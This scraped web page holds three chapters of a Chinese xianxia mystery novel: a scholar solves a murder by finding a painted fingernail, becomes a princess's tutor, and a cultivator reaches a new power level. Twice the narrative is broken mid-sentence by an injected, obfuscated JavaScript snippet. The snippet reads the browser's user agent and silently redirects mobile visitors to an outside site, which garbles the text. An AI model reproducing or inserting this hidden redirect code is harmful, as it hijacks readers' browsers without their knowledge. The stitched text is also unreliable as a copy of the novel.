“公子做过仵作?”三皇子直接切入正题。 “实不相瞒,草民的生母就是被谋害而死的,当时查不出凶手,幸亏遇一高人指点推断出隔壁邻居因贪恋我家产而杀人劫财,后来我将家产给了高人,请求拜师学艺。师父上了年纪,不久便与世长辞,我颇得两分真传,现今为了除恶扬善,愿意斗胆一试。” 三皇子似乎十分动容,虽说今日他和沈宫主刚下来探查,但归根结底二人不是专业人士,正巧来了个贤才,三皇子欣喜不已,便道:“此事需经过陛下批准才可,你且候在这里,我进宫回禀。” 三皇子走后,沈宫主邀周望去了附近茶馆小坐,闲聊他是哪里人氏,现在做什么活计。 她很快发现周望虽出身偏壤之地,但谈吐不凡,大智若愚,外表又丰神俊朗,若是入朝为官定是一位贤臣。 当然,这个想法只在沈宫主的脑子里转了一圈就隐没了。沈宫主客气地请周望有时间来紫阳宫做客,二人又聊了一些个人所见…… 半个时辰后,三皇子带周望进了案发场地。 按照周望的意思,先将刘常的家人全都叫出来在外等候,准备一盆清水,他净了手后开始在案发现场一步步探查。 一盏茶后,周望出门开始审问刘常家属,再一盏茶后他面带微笑地来到三皇子面前。 “禀殿下,草民已经确定凶手是谁。” 三皇子有些难以置信。周望道:“凶手就是刘常发妻孙氏。” 话音一落,整个宅院异常寂静了一会儿,紧接着孙氏跌跌撞撞跑出来跪下,慌张地词不成句,坚持说自己身为妻子绝对干不出谋害夫君之事。 看着三皇子疑问的眼神,周望伸出一只手做出“请”的姿势道:“还请殿下和沈宫主上前细看。” 周望蹲在刘常身边仔细叙述道:“死者的耳朵、脖子和手背均有伤痕,伤痕细细长长,就像是……” 他用手指甲抓了一下以示导致手背伤痕的凶器,紧接着他叫孙氏过来。 孙氏哭得天昏地暗,直接晕了过去,周望直接狠掐人中活活将孙氏痛醒,不等孙氏反应,他一把抓过孙氏的两只手腕强迫她伸出手指。 三皇子和沈宫主看着修剪整齐的十个染红的短指甲不明所以,周望将刘常的小妾云氏叫了过来。 “孙夫人平常是否喜欢留长甲?” 云氏看着孙夫人修剪过的指甲目露惊恐,小声道:“是,夫人平常喜欢留一寸长的指甲。” “你可知她什么时候把指甲剪了?” 云氏想了一会道:“老爷被发现惨死当天,夫人一直哭喊,我被嘈杂声引了过去,当时就注意到夫人剪了指甲,这是我入府来第一次见夫人剪指甲。” 孙夫人的一双手哆哆嗦嗦,也不哭了,一双眼睛看着鞋面,似乎自己穿的布鞋样式特别吓人。 “剪了指甲也不能断定一定是孙夫人所为,人人都有指甲,而且刘常手背上的抓痕完全看不出其他线索,周公子还有别的证据吗?”三皇子坐在位子上发出了质疑。 “在死者嘴中。”周望的声音像唱歌似的十分轻松惬意。 他笑着看向孙夫人,低声问:“不知你夫君咬了你哪个指头?” 孙夫人突然被吓了一跳,她目光下意识地看向自己手指,周望已经腾出一只手伸进了死者嘴中,从口腔侧面拿出了一小片红色指甲。 “府中还有谁染红色指甲?”周望看向管家。 管家因府中出了凶案,又害怕又紧张道:“老爷就有两位妻妾,府内婢女们平常干活不染指甲,似乎只有夫人和姨娘喜欢染甲。” 小妾的指甲也留了一寸,十指俱全,且颜色粉嫩,从色泽上看染了一段时间,对不上号,而从死者嘴中拿出的小片红色指甲和孙夫人的指甲颜色完全吻合。 见此情形,三皇子不得不怀疑孙氏,他看向她,语气严肃道:“从实招来。” 朝荣国有一项律法,如果丈夫死了,而家中还有老母妻子的,家产全部归妇孺自行支配。 云氏是半年前入的府,孙氏觉得自己遭受冷落,怕将来没有依靠,于是起了将钱财占为己有的想法,等自己成为一家之主后就把小妾赶出家门。 “为什么你要以这样不体面的方式杀了你丈夫,而不是下毒或者其他办法?”三皇子继续审问孙氏。 孙氏面如死灰,活像一个已经死了的人。 周望道:“朝荣国一向风调雨顺,国泰民安,毒药这类东西几乎没有人卖,就算有也不在都城,孙氏若出城买毒药有些大费周章,所以她不会用这种方法。” “草民猜测此次谋杀是孙氏临时起意,事先并没有谋划,一定是她和刘常发生了口角,一气之下,用烛台砸向刘常后脑。” 说到这里,周望指了一下对面桌案,案上摆着几盘贡品,中间放着一个金色香炉,香炉左边有一个烛台,而右面却空空荡荡。 周望看着孙氏意味深长道:“女人的力量同样不容小觑……” 三皇子怒视孙氏:“你还有没有话说?” 孙氏软绵的身子突然直起,她声音不大,却飘浮在寂静的院中,落在每一个人的耳朵里:“我与老爷成婚二十年,即便我无所出,他也说此生不再娶。” 她伸出双手,鲜红光亮的指甲映在眼前。 “这是他前不久亲手给我涂的,成亲那日,他握着我的手说以后年年给我涂红甲,执子之手,白首不离。可生死之事全靠天命,若他先走,我便把指甲都剪掉,让它们随他入墓,若我先走,他会在封棺前再给我涂一遍指甲,不求同日死,但求爱永随。” 她抬手从袖子里拿出一方包着什么东西的绣帕,打开后,里面是鲜红夺目的九片指甲。 她走向周望,一言不发地看着他,周望抬手于绣帕上方,至此,十片指甲俱全。 那晚杀完丈夫后,孙氏被自己的行为惊吓到了,慢慢地,她开始认为这件事不是自己干的,是另有他人蓄意谋杀。 突然间,她发现自己手中抓着的血淋淋的烛台,蓦地惊叫一声,随后藏起了烛台又剪掉了自己的指甲。 她本该把指甲也扔掉,但她愣怔了一会儿后用绣帕包起来塞入了袖中。 她一直在惊恐和悲愤中交替,一边恶心自己的行为,一边又疯叫着找出凶手。 在周望说出真相前,她已经完完全全让自己相信是另有人杀害了自己的丈夫,直到周望从丈夫口中拿出了那片红甲又指向烛台…… 然而直到此刻,她一点都想不起来自己把烛台藏在了哪里。 她反复想起的就是那晚争吵时,老爷狠狠咬下了她的一片红甲。 那个时候,老爷在想什么?当他意识到自己同床共枕的妻子很有可能要杀了她时,是不是也想起了当初的约定?若他先走,他要带走妻子的十片红甲。 然而在当时情况下,十片不可能了,他只能咬下一片。 孙氏不懂老爷究竟还爱不爱自己,如果爱,为什么还要娶小妾?他明明答应过她,哪怕她一辈子生不出孩子,他也不会为了传递香火而娶她人。 种种问题,孙氏只能去阴间找刘常问明白。 “三殿下,民妇承认杀了自己的丈夫,但若斩首,民妇怕到了黄泉看不见路,找不到他,他没有兑现他对我的承诺,我更丧了良心杀害了他,谁都违背了初心,不管他是否觉得有愧于我,我都要在黄泉路上亲自找到他,将这段孽缘做个了断。” 说着,众人只觉一阵风吹过,随着强有力的一声震响,孙夫人倒在了桌腿旁,鲜红的血从额角汩汩流出,顺着脸颊流入脖颈,在地上缓缓延伸。 沈宫主低呼一声,三皇子猛地站起,管家和奴仆都 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周望见她已自醒,便松开了手腕,拿起地上簪子重新簪入她的发间,“好好做人,你自有去处。” 案子终于得以了结,三皇子让管家把两位主人合葬,整顿完这边后和沈宫主带着周望回宫复命。 沈宫主想起来今日有要紧事回紫阳宫,于是跟赵皇帝说了一声要提前回去。 赵皇帝因刑台之事一直生气沈宫主当时的狂妄,但又不敢真的跟紫阳宫闹掰,毕竟魔龙之事还没解决,于是不情愿地让沈宫主走了。 沈宫主回到紫阳宫时已经是黄昏时分。 对于这桩命案,沈宫主只觉心头郁闷,哀叹震惊,她不知道这件事跟魔龙蛊惑人心有没有关系,现在除了陛下性情突变外,朝堂上的其他官员和掌门的微妙变化她也都看在眼里。 在她的认知里,世间的人从不会有怨恨、猜疑、嫉妒等欲念,妻妾之间一向和平相处,做丈夫的也都平等对待。 她不太理解为什么原本相爱的人会走到这样的局面。 当初她和邱宫主彼此喜欢成了亲,但相处的时日长了以后她发现邱宫主并不是自己心中想要的男人,于是跟他提出和离,邱宫主闭门思虑了好几日最终答应了。 后来她遇见了上官宫主,由于吸取了上一段婚姻的教训,沈宫主再三确认他是一个合适的人后才成的亲。 但奇怪的是,成了亲以后有很多事都不一样了,她总觉得上官宫主没有婚前那么爱她,不像邱宫主似的,婚前婚后都很体贴细致,但为人太迂腐呆笨。 当她发现上官宫主因为忙于红岭宫的事务而连续三年忘记她生辰日的时候,她再次决定和离。 但上官宫主和邱宫主不一样,邱宫主把自己关起来不说话,而上官宫主却每日都忙着哄她开心,声称自己忙得记不住,又是道歉又是补救。 上官宫主总认为沈宫主和他和离的原因是没记住她的生日,沈宫主在解释几遍后彻底明白自己和上官宫主不合适。 最终,上官宫主望着地板良久后道:“如果这样能让你开心,那我就签。” 往事重现,沈宫主看着天边夕阳发出了一声叹息,忽然间双眼被人捂住,只听熟悉的声音在耳边响起:“母亲,别害怕,是我,大家都在等你回来,你别急着问,先跟我来,我会帮你看路的。” 话虽这么说,沈宫主还是问:“走就走,为什么要捂眼睛?没轻没重的,按这么紧干什么?” 上官琛马上松了一点,沈宫主不再说话,只听上官琛一会说要下台阶了,一会说要上台阶了,走了好一会儿,上官琛终于停了。 他带着有点高兴的声音道:“母亲,我要松手了。” 沈宫主心里已经猜到了,这也是她对赵皇帝说的要紧事。 待上官琛松手后,邱梧、容珠、顾云萧和上官琛齐声道:“沈宫主生辰快乐!” 沈宫主听到他们叫她“沈宫主”不禁破涕为笑。 称呼这件事上邱梧考虑过了,若是她和上官琛叫“母亲”而容珠和顾云萧叫“沈宫主”的话难免听起来不协调,于是统一叫“沈宫主”,听起来既整齐又气派。 房间布置得喜气洋洋,菜正陆陆续续地上着,顾寄章和应白一人搬了坛酒来,送礼时,应白祝沈宫主青春永驻,万事如意,其他人也都说了各自贺词。 说笑间,有对话声临近,沈宫主抬眼,见邱宫主和上官宫主的身影出现在阶梯上,二人各自提着贺礼前来赴宴。 邱梧和上官琛各自迎着自己的父亲落座,沈宫主笑了笑,拿起筷子道:“人到齐了,开饭吧。” 81. 夜来访 关于刘常被杀一案,赵皇帝的意思是孙氏不配与丈夫合葬,但三皇子认为刘常在死前咬断孙氏的一片指甲别有深意,在他的劝说下,赵皇帝便宣布此案完结。 周望无疑是本案的功臣,赵皇帝带着赞赏性的目光看向他:“本朝官员费了几日时间都没查清此案,你一看便知凶手是谁,可见能力非凡。寡人听说你不是都城中人,不知现居何职?愿不愿意来刑部任职?” 周望恭敬道:“承蒙陛下高看,其实草民断案技俩着实平平,只有一点经验而已。朝荣国一向太平,人与人之间的口角纠纷一向甚少出现,像命案这样的大事也是百年不曾一遇,刑部人员没有过往经验所以办起案来略有难度,恕草民直言,草民志不在此,相比之下,草民更喜欢传授知识,当个先生。” “哦?”赵皇帝眼睛一亮,“你年纪轻轻,若有才华大可以考个仕途,为何要当个枯燥且平淡的教书先生?” 周望笑了笑道:“功名利禄的确诱人,不过草民只想当个授人知识的先生,毕竟让懵懂的孩童懂得如何做人并通晓世间的礼义廉耻何尝不是一件重要的事呢?” 三皇子十分赞同地点点头,赵皇帝眉开目明。 “既如此,皇宫里刚好缺一个教书先生,寡人的四公主今年六岁,正是需要教导的年纪,可惜她的生母行为粗鄙,教养全无,寡人担心她不是一个称职的母亲,你可愿意帮寡人分忧,担任四公主的老师?” 当四公主的老师三皇子没意见,但他不是很赞同父皇说李贤妃没有教养,这件事当时三皇妃也在场,她回去将事情如实告诉了三皇子。 是沈美人故意把热茶洒在了皇后手背上,皇后出言训斥了一句,沈美人就说后宫之主有什么用,自己才是最受宠的那个。 李贤妃气得直接上去给了她一巴掌,沈美人立刻哭着跑了,接下来李贤妃便被关了起来。 周望没有问过多的皇家私事,他垂眸考虑了一下,然后道:“能当四公主的老师是草民的荣幸,不过四公主尚且年幼,草民又是生人,只怕会吓着四公主。” 赵皇帝摆摆手道:“孩子嘛,熟悉熟悉就好了,既答应了,明日就来上任吧。你是皇家老师,寡人该赐你一座府邸和金银财宝,今日起你便不必住在客栈了,拾完东西就让人带你去新家。” “谢陛下赏赐,不过草民有一愿,如今刘府空着,草民喜欢那座房子,陛下可否允许草民搬去那里住?” 此言一出,赵皇帝和三皇子疑惑地看着他。 赵皇帝身子前倾问:“刘常和孙氏刚死,若要住人也得请法师驱邪净化后才行,且死过人的屋子半年内不可住人,你怎么会有这个想法?” 周望依然笑道:“陛下,草民从不把鬼神之说放在眼中,世上有很多事本就没有说头,但一人一句,传着传着就有讲究了,刘常和孙氏之死与草民无关,草民也不怕鬼魂缠身,只要陛下允许,草民不胜欣慰。” 刚死过人的屋子人们往往避之不及,刘常好歹也是一名官员,这座宅院的最终归宿无非是被皇家收回,尘封个十几,二十几年再赏赐给别人。 若是普通百姓的屋舍,牙人还要低贱出售,而有人明晃晃地说喜欢那里,想住进去…… 赵皇帝用奇怪的眼神看着周望:“你倒是个特别的人。既然这样,那寡人就派几个人收拾一下,” 周望揖了个大礼谢过赵皇帝,宽袖因胳膊前伸而露出了左手手腕上的绷带,三皇子眼尖,关切问:“周先生怎么受伤了,严不严重,可有敷药?” 周望的目光落在洇了血的绷带上,朝三皇子道:“伤口特殊,寻常药材无法医治,有劳三皇子费心,个中内情不便透露,草民自想办法解决。” 出宫时,周望身后多了几个赵皇帝派去收拾宅子的人。 刘府的管家和奴仆没想到,上午刚解决完府内凶案,到了晚上就要开始欢迎新主人了。而令他们更加想不到的是,新主人竟是那个了结本案的年轻公子。 夕阳落山,天渐渐黑了起来,公公宣读完旨意后便让手下人开始干活,烧纸焚香,去繁从简做了遍仪式。 周望看着站在院中的众多奴仆笑道:“从今日起,我便是这座府邸的新主人,好好干,我不会亏待你们,要是谁行事不检点有私心,我就把他撵出去。” 管家和奴仆在白日的时候就见识过了这位公子的断案本领,眼下又被陛下封了皇家老师,把这座府宅的等级都提升了一个层次,相当于他们的奴仆身份也不一样了,心中的悲伤也很快被高兴和敬畏盖过,齐齐道了声“是”。 周望指着奴仆中的一个人道:“你跟我来。” 云氏有些意外地看着他,随后便随新主人进了屋。 她本就是刘常从舞馆里买来的侍妾,如今依靠没了,她也无处可去,请求管家将她留下干活,做个奴婢,管家同意了。 屋内的烛火影影绰绰,周望坐在主座上打量着四周装潢,待云氏的身影靠近后他问:“你姓云,叫什么名字?” 云氏低头道:“奴婢只有姓,从前一直被人唤云娘。” 她声音轻轻,眼睛还因为过分哭泣而肿着。 周望道:“你身不由己,或多或少引发了一场悲剧,不过人生在世,本就有很多爱恨死别,忧愁苦难,若有一个云淡风轻的心态,你自会从凡尘中脱离,重获新生,以后便叫云轻吧。” 云氏略读过几本书,不太明白新主人这番话的具体意思,但能听出来是对她好的话,她默默地在心里念了一下自己的名字,然后跪在地上磕头道:“多谢公子。” “你可知孙氏用来杀死刘常的那个烛台现在哪里?” 周望边说边翻开桌子旁的抽屉,匣子等物件查看。 云轻没有想太多,摇头道:“老爷死的突然,若不是公子查明真相,没人知道那晚发生了什么,我们更不知烛台这等微末细节。今日白天院内一干奴仆已将宅院里里外外打扫了一遍,并未发现这件物什。” 周望微微点头,表情平平静静。 云轻半天没听见新主人回答,还不知他的脾性,趁机抬眼观察了一下,这一眼有点吓到她了,因她看到的是嘴唇苍白,整张脸毫无血色的周公子。 她犹豫了一下,本想出言询问他是不是哪里不舒服,周望这时道:“一会儿我要出去一趟,你在府里找找丢失的烛台在哪,找到了原样拿给我,不要擦也不要洗。” “是。”云轻小声回答。 待四下没人后,周望坐了下来,把被血浸染的绷带一层层取下,圆形伤疤鲜红夺目,血与肉混合在一起,画面骇人。 他又拿出一瓶药粉洒在上面,随后用新的绷带缠好。当所有事都完成后,脸上的血色已经恢复如初,他又成了容光焕发的周公子。 * 天已经彻底黑了下来,紫阳宫的庆生宴刚刚结束,众人已经从沈宫主嘴中得知了命案一事,当沈宫主说起周望这个名字的时候,容珠和邱梧不约而同看向对方。 她们只知那个公子姓周,如今这个断案人也姓周,会不会…… 邱梧问:“母亲,这个叫周望的人长相如何?” “非常俊朗,跟画出来一样。”沈宫主向邱梧眨了下眼睛,很显然,沈宫主误以为邱梧问对方长相是看好了此人。 她暗想周望的年龄跟邱梧应相差不大,若他是独身焉知不是一段佳缘…… “不会吧!”顾云萧睁大了眼,面色惊喜,“是那位我们在成衣铺遇到的周公子!”她说话时双脚也激动得在桌下动,桌上的几个盘子发出了轻微的碰撞声。 顾寄章露出了不满的神色。 顾云萧双手一拍,“没想到他不仅一表人才还大有能力呢!” “切!” 顾云萧转头奇怪道:“怎么?见不得别人比你长得好看也见不得别人比你能干啊?” 上官琛似是理所当然地哼道:“他打得过我吗?” “谁说打架才能证明一个人有没有能力?”顾云萧毫不客气地反驳,“再说了,你又不是朝荣国最厉害的人,且那周公子有说自己没灵力吗?” “我倒没察觉到他身上有灵力的气息。”沈宫主说这话不是在向着上官琛,她刚接触周望,对他还有很多需要了解的地方,当听到顾云萧这句话时,沈宫主下意识回想了一下今日情形,这才说了这句话。 “不过这同样不能表明他没有灵力。”沈宫主有些若有所思,随即门外一阵闹哄哄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932956|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音传了进来,一弟子进来道:“宫主,外头有一名自称叫周望的人前来拜访紫阳宫。” 之所以是闹哄哄,源于紫阳宫的女弟子听说来的人是个俊公子,纷纷出来找地方偷看。 周望被弟子们领到了待客厅安坐,不一会儿,沈宫主便到了。 “周公子!”顾云萧三两步跑上前向他打招呼,“你还记得我吗?” 周望微微一笑:“顾小姐。” “你是不是听了我的建议来拜访紫阳宫了?” “云萧,原来你和周先生认识啊。”沈宫主来到周望对面请他坐下。 邱梧笑道:“年前去成衣铺订衣服的时候见过一面,饭间还听母亲说起周公子今日断案一事,借此机会该好好认识一下。我叫邱梧,这是我弟弟上官琛,他们是我们的朋友,容珠和应白。” 上官琛从进门起双眼就在上下打量这位周公子,心想这就是顾云萧口中的绝顶大帅哥? 他余光瞅见顾云萧用十分得意的目光看着他,满眼都在传递着“看,我没说错吧?”这一信息。 “周公子。”上官琛冷脸跟他打了声招呼。 因先前在新年那晚的奇怪感受,应白现下不禁多看了周望一眼,依然有一瞬间的眼熟,但这种感觉转瞬即逝,好像东西就在眼前,一伸手就不见了。 周望一双浅棕色的瞳孔带着笑意看向二人,容珠留意了一下周望的左手腕,那里有宽袖挡住,看不见有没有绷带。 “这么晚来叨扰实在不是一个很好的时机,不过周某来此也并非要与沈宫主闲谈,而是念及和沈宫主今日的交情,特将下午复命之事告诉沈宫主。” 他这么说,沈宫主便约莫猜到是何事了,她会心一笑,听周望道:“受陛下抬爱,任命我为四公主的教书先生,于明日上任。我向陛下要了刘常的府邸,还希望以后沈宫主和诸位友人能常去府中做客。” “哦?” 沈宫主心里不太认可让周望去教四公主读书。 四公主面对一个陌生的男子肯定会害怕,且宫内本就有学堂,为什么陛下还要让来自皇宫之外的人教?李贤妃知道后恐怕会日夜担心,不知此事是否合周望意愿? “我本以为周先生在断案之事上颇有能力,没想到对教书也感兴趣。” 周望微笑道:“的确,能教四公主读书对我来讲是惊喜,也是荣幸。” 几句后,周望看天色已经很晚了便要告辞,窗外偷看的女弟子们呼啦啦都撤退到暗处。沈宫主送周望出了紫阳宫。 “这下你看到了吧,是不是很帅?”顾云萧双臂抱胸看着上官琛,上官琛抱胸道:“他有他的帅,我有我的帅,互不打扰,再说,帅顶什么用?他能教你修炼吗?” 顾云萧和上官琛在一边吵闹,应白问邱梧:“你有没有觉得他有些眼熟?不是外貌长得像谁,而是乍眼一看就能勾起一丝记忆,好像什么时候经历过类似的事,但当你再看的时候,这丝记忆便没有了。” 邱梧望着周望逐渐消失的背影摇摇头:“没有。相反,我感觉他很陌生,总认为他不像是一个凡人。” 她觉得应白话里有话:“你认为他不是一个普通人?” “他有灵力。”应白语调肯定。 “你看到了?” “直觉。” 这个答案显然不足以让邱梧信服,不过她知道应白不是在开玩笑,他既说是直觉那他一定感觉到了强者之间的微妙气息。 虽然应白现下没有灵核,但他当年的强是朝荣国所有人都遥不可及的,邱梧没有达到过那种高度,不能否定这种玄妙的答案。 待沈宫主送完周望回来后,邱梧便将方才应白的猜测告诉沈宫主。从周望深夜拜访紫阳宫开始,沈宫主便一直有心留意着这件事。 “一个人身上没有灵力的气息,要么这个人真的没有灵力,要么他的灵力高到可以隐藏。” 周望有没有灵力众人本不必如此在乎,但这其中存在着一个微小的说不通之处。 修炼灵力是十分正常的事,入朝为官也不受此限制,如果周望是修炼之人,为何要隐藏自己的灵力不让人发现? 所以沈宫主更相信周望只是个普通人。 82. 中灵 昨晚在沈宫主的生辰宴上容珠喝得晕乎乎的,只记得和应白走在回去的路上被他突然一扶的记忆,自己当时究竟在干什么是一点也想不起来了。 第二天早上醒来的时候,容珠感觉神清气爽,呼吸畅快,趁机在床上盘腿运功,只觉灵力如涛涛江流顺畅无阻地流向全身经络,带着股撒野的冲劲儿,恍若种子发芽时要使劲用脑袋顶开身上的土壤。 她心中一激动,知这是个预兆,想起师父曾跟她说过的修炼禁忌,忙静心凝神。没过多久,因激动而紧绷的身子渐渐放松了下来。 到了第二回,灵力从灵核中汩汩涌出却游走得缓慢,仿佛有东西堵住了道路又好像缺少力量调动灵力前进。 容珠一边缓慢呼吸,一边控制着灵核里的灵力,一遍遍尝试继续游走,但总卡在某处穴位中停滞不前。 灵力升阶对一个修炼者来讲很重要,关乎着灵力从今往后的发展,通常来讲,门派中若有弟子灵力升阶,掌门会派人看护。 一是为了避免弟子走火入魔,致使门派遭受损失,二是灵力的提升可能会发生性质转变。 也就是说,可能某个人的灵力在低灵阶级时是温和的,而升至中灵后会转变为强劲,掌门会尽可能让弟子的灵力往适合自己门派功法的方向上发展。 很多功法都会限制灵力性质,越是高深的功法越适合灵力沉稳温和的人修炼, 想当初容檀升至中灵时容江就亲自在一旁指导,她的灵力倒没发生性质转变,像带刺的利刃似的,总有种肃杀之感。 眼下容珠一个人面对这困境无解,中途中断断然不行,脑子里一直在回想从前爹爹对她修炼的叮嘱,还有师父当初教她心法时所说的要领。 摒弃杂念,内心坚定。 她想着心法秘诀,默默动用心法之力灌入灵核,尝试扩散全身。 仿佛开辟出了一条保驾护航的道路,体内灵力渐渐沸腾翻滚,在自己的七经八脉里不断奔窜,仿佛是栅栏里的羊群全都不受控制地跑了出去。 她神经一紧,将注意力集中在灵核上,气沉丹田,双手运功。 她本以为灵核会像从前一遇到灵力变化时就发烫,但这次没有,准确来说,灵核不是在发烫,而是在微微膨胀,倒说不上多么难受,好比胸腔里堵着一口气,方才一直上不来,几经努力终于能呼吸通畅。 最后一回,容珠将身心与灵核融会贯通,感受灵力在体内几经辗转,紊乱又平静,平静复紊乱,直到灵力在她的调动下终于不再浮躁,一点点回到灵核之中。 她缓缓睁开眼,心中迫不及待,穿好衣服拿剑小跑了出去。 “师父!” 凌厉的剑声隔空传来,应白在早晨和傍晚时会练半个时辰左右的剑,他的剑法明明苍劲有力,势如破竹,但却丝毫不见他多么费力,整个人就如散步时那么轻松惬意。 “练剑不能单靠刻苦努力,还有悟性与心态,当心与剑合二为一的时候,人会进入物我两忘的境界,在这种境界里练剑的效率会大大提升。” 这是应白曾经指导容珠练剑时说的话。 应白并非没有听见容珠喊他,他正练到剑法的最后一式,如痴如醉,但又不想让容珠等他练完,于是身体一个回旋,纯黑的剑光一闪,容珠便见应白朝自己指来。 若论剑法,她好歹也曾是清凌门掌门之女,清凌剑术自然不算太太太差,因为灵力一直上不去,她也无心修炼剑法,所有的时间都扑在提升灵力上了,导致后来灵力没有,剑法也垃圾。 拜应白为师后,应白便把自己的东林剑法教给她,当时应白还说虽然与清凌剑法大有不同,不过有心钻研就可以把两种剑法融为一体。 至于钻研,容珠还没开始,她现在的剑法不过半斤八两,面对师父的邀请,她心里又开心又紧张。 开心是因为她甚少和应白一起练剑,今日竟得了机会,紧张是因为自己的水平恐让他笑话,不过她转念一想,正好可以借此由头多和应白练剑接触啊。 电光火石间,应白的剑尖已经快到容珠胸前,她飞快侧身,拔剑对上了应白手腕一转后再度袭来的剑身。 她能感觉到一股力道将自己的佩剑一震,震感沿着剑身麻木了手腕,登时五指有松懈的迹象,剑身也跟着一抖,随即被应白的佩剑稳稳抵住,紧接着被挑起。 容珠趁势随着他的招式舞剑,在对方的引导下进行着剑法中的一招一式。两柄剑相交摩擦发出的清脆铁击声像一段悦耳的声音,在寂静还未晴朗的清晨一下接一下响起。 “动用灵力。”应白呼出的热气吹动了容珠耳边的一缕头发,挠了一下脸颊引起一阵痒意,让她有片刻分神。随后她集中注意力,亮白的剑身很快被一圈圈雄厚强劲的淡黄色包裹,应白眸中一亮。 练剑用出的力气和心底里的思绪让容珠浑身发热,双颊粉红。早春的清晨还透着丝丝凉意,应白就站在容珠身后带着她在院子里练完了一套剑法。 收剑后,应白双眸含笑:“看样子你的灵力大有提升,一个人度过升阶之坎实属不易,感觉怎么样?” 容珠内心悦动,“确实遇到了些阻碍,不过我想着师父教给我的心法,面对这些阻碍就迎刃而解啦。” “你拥有中灵实力了,果真天赋异禀。”应白声音轻轻,眼底里的光像是从扎紧的布兜里露出来的光线,藏也藏不住。 在那个世界,只有得到圣灵宫亲赐的中灵之蓝旁人才会认可你的中灵实力,但应白自是知道中灵实力是什么样的水平。 如今距离他和容珠离开漩涡之境才一年,容珠便能从不足低灵升至中灵,他当年也没有这般速度,一时间心里既开心又好奇。 容珠本就是来给应白报喜,当“中灵”两个字从应白嘴中说出来时,一种真实感扎扎实实落在了她心上。 她真的不再是废物了,她可以和容檀比肩,她同样是年纪轻轻就到达中灵实力的人,她没有让爹爹失望,而这所有的转变都从认识应白后发生的。 “谢谢你,师父。” 她笑得开心,一双充满光亮的眸子和面前的棕色眼眸对视,有那么一瞬,应白从这双满是笑意的眼眸中察觉出了另一种感情。 不是徒弟对师父的目光,不是朋友之间的目光,这种眼神在刹那间让他心头涌动无限爱意,与他昨晚和容珠在回屋的路上,看到她因酒劲而双颊泛红,昏昏欲睡时所产生的感情一样。 当时容珠哈欠连连,应白的视线情不自禁就落到她粉红的唇瓣上。 应白想做君子,可他总是控制不住因喜欢容珠而产生想靠近,想亲她的欲望,他从不会产生自己认为不对的念头,从不会去做自己认为不对的事。 他从未有过理智和欲望对抗的情形,为什么容珠却让他成了这样?为什么他不可以只是简单的喜欢她,不让自己产生其他的想法呢? “恭喜恭喜。” 异常寂静的院内忽然冒出来另一个声音,容珠和应白齐齐望去,见邱梧正站在小道旁的大树下笑眯眯地看着他们。 她并没有过来的意思,只笑道:“我本来找容珠的,在那边叫了半天没人应答,又闻刀剑之声从这边传来,原来你在这儿练剑呐,刚听应白说你的灵力提升了,恭喜恭喜啊。” 邱梧朝容珠眨了下眼,容珠登时一阵局促,差点结巴:“你找我做什么?” “昨晚上你喝多了,我怕你今早起来不舒服,给你送了碗解酒汤,看来是我多虑了。”她看向容珠有些泛红的脸蛋故作无知道:“看来你酒意还没醒,汤还热着呢,要不我拿来给你喝。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932957|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她话音一落就转身迈步,容珠大声道:“我自己去喝!”话毕她又面对应白,也不知在不在看他,就说:“时辰不早了,师父先去吃饭,我们一会过去。” 也不管应白回答,转眼跑没影了。 吃饭时,顾云萧听说容珠灵力增进一事大感惊讶,扬言让上官琛从今日起要好好教她修炼。上官琛只当她三分钟热度,嘴上没揭穿,边吃饭边附和:“没问题!” 没想到的是,顾云萧果然修炼了大半天,上官琛怪道:“你平常连喝口水那点时间都坐不住,怎么今天这么用功?” 顾云萧皱眉:“你们灵力都很厉害,我不想让自己太差。” “这可不像你说的话。”上官琛带着半信半疑的神色看向她,“你前几天还说灵力不能证明一个人的能力,现在竟自己贬低自己,你这个人怎么这么善变啊?” 话一出口他便有些后悔了,因他看出顾云萧虽然在用功修炼,但她的心情似乎不太好。 上官琛不知道哪里惹着她了,还是她碰上了什么事,他一向心直口快,于是直言道:“修炼最重要的是心要静,你要是有什么不开心的,先把自己的气儿顺了再练。” 顾云萧嘟着嘴,过了半天忽然吆喝:“上官琛!我要你每天都监督我修炼,必须时时刻刻督促我,不能让我有一点偷懒,我一定要尽快把自己的灵力提上去,不能连灵力也比不上人家。” 上官琛听来有点云里雾里,“我当然可以时刻督促你,但你也得控制一下玩心,我想不通,你为什么突然这么想提升灵力?什么叫比不上人家?你跟谁比?容珠吗?” 顾云萧听到容珠的名字后忽然像泄了气似的,她乌黑的眼睛闪了一下光亮又暗了下去,“容珠既然能做到让自己的灵力有大提升,那我也可以,容珠有应白那样俊朗的师父,你也差不多……” 说到这儿,上官琛刚想反驳,就见顾云萧继续蔫蔫地说:“我喜欢长得好看的人,不管是男子还是女子,可站在容珠身边,我就觉得哪里都比不上她……” 在上官琛的印象里,顾云萧一直是活泼爱笑的,他似乎从没见过顾云萧伤心难过,突然间看她这样,他有些手足无措,试着捋情自己的思绪,然后问:“容珠是容珠,你是你,为什么要跟别人作比较?” 顾云萧瞪向他:“如果一个男子比你长得帅,灵力还比你高,你不会不舒服吗?” “朝荣国哪有这样的人?” 顾云萧气得推了他一把,“你什么都不懂,反正我要好好修炼,是你说要教我的!” “你可从来没叫过我师父。”上官琛不知道顾云萧今天是怎么了,一会儿伤感一会儿生气。 